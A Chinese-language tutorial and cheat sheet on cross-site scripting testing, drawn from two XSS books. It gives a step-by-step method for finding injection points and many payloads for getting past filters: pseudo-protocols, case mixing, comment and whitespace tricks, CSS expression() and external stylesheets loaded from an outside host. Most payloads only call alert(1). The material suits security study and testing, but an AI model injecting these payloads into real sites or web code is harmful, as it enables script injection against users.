来源《XSS跨站脚本攻击剖析与防御》&《WEB前端技术揭秘》
一、一般测试方法
步骤:
0.总则:见框就插
1.在输入框随便输入一些简单的字符,如aaa
,方便后续查找输出位置
2.按下F12
打开开发者模式,ctrl
+F
键,搜索aaa
3.多数情况下是在标签的value="aaa"
中,或者独立出来包含在一些别的标签中,如div
、span
等
4.根据特定情况构造payload,一般是直接构造标签
或者闭合标签再构造
或者利用伪协议
等
二、常用技巧
- 1.JS伪协议利用
形式:
javascript:[代码]
示例:<table background="javascript:alert(1)"></table>
,引号可以去掉
支持伪协议的属性有:href
,lowsrc
,bgsound
,background
,action
,dynsrc
- 2.基于黑名单的过滤
① js代码中,利用
空格
,回车
,tab键
js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号
例:
var a = 1
var b = 2;
//上述语句正确
示例:<img src="javas cript:alert(1)">
,中间为tab键
② 大小写混淆
示例:<IMg SRc oNERRoR=aLERT(1)>
③ 编码绕过
暂无
④ 奇淫技巧
1.过滤引号
策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)
2.过滤空格
策略:/**/
,注释符号绕过;/
符号绕过;
例:<img/src/onerror=alert(1)>
3.属性关键词被过滤
策略:插入/**/
、\
、\0
示例:
//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
//2.`\`、`\0`只能在css样式中使用,两者会被浏览器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此处用到了@import,详细@import解释在后面
</style>
4.`<!-- -->`注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释:
`<style><img src="</style><img src onerror=alert(1)//">`
解释:
- 3.js事件执行代码
示例:
<img src onerror=alert(1)>
js事件:onerror
,onclick
,onmouseover
,onkeydown
·········
其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
- 4.利用css跨站 (style属性或者style标签)
① 直接执行
利用的是属性中的 url ,跟伪协议相似
示例:
//1.
<div style="background-image:url(javascript:alert(1))">
//2.
<style>
body{background-image:url(javascript:alert(1));}
</style>
//3.
<div style="list-style-image:url(javascript:alert(1));">
② IE 下利用 expression
解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,
示例:
//1.
<div style="width:expression(alert(1));">
//2.
<img src="#" style="xss:expression(alert(1));">
//3.
<div style="list-style-image:expression(alert(1));">
//4.
<style>
body{background-image:expression(alert(1));}
</style>
③ 引用外部css文件执行xss
示例:
//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css">
//2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>
//3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>
二、 XSS Payload
参考文章:https://www.freebuf.com/articles/web/226719.html
<svg/onload=alert(1)>
<details open ontoggle=confirm(0)>
等等等等